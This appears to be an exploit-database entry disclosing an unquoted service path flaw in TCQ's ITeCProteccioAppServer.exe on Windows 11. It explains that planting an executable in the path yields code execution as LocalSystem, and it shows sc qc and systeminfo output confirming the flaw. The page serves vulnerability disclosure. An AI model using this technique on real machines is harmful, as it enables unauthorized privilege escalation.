Tcq itecproteccioappserver.exe unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-05-11 | Type : local | Platform : windows
This exploit / vulnerability Tcq itecproteccioappserver.exe unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: TCQ - 'ITeCProteccioAppServer.exe' Unquoted Service Path
# Discovery by: Edgar Carrillo Egea - https://twitter.com/ecarrilloeg
# Discovery Date: 2022-04-25
# Vendor Homepage: https://itec.es/programas/
# Vulnerability Type: Unquoted Service Path Privilege Escalation
# Tested on OS: Microsoft Windows 11 Home

To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.


C:\Users\edgar>sc qc "ITeCProteccioAppServer"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ITeCProteccioAppServer
TIPO : 110 WIN32_OWN_PROCESS (interactive)
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ITeC\LIC\ITeCProteccioAppServer.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : ITeCProteccioAppServer
DEPENDENCIAS : RPCSS
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\edgar>systeminfo

Nombre de host: DESKTOP-0DL5SID
Nombre del sistema operativo: Microsoft Windows 11 Home
Versión del sistema operativo: 10.0.22000 N/D Compilación 22000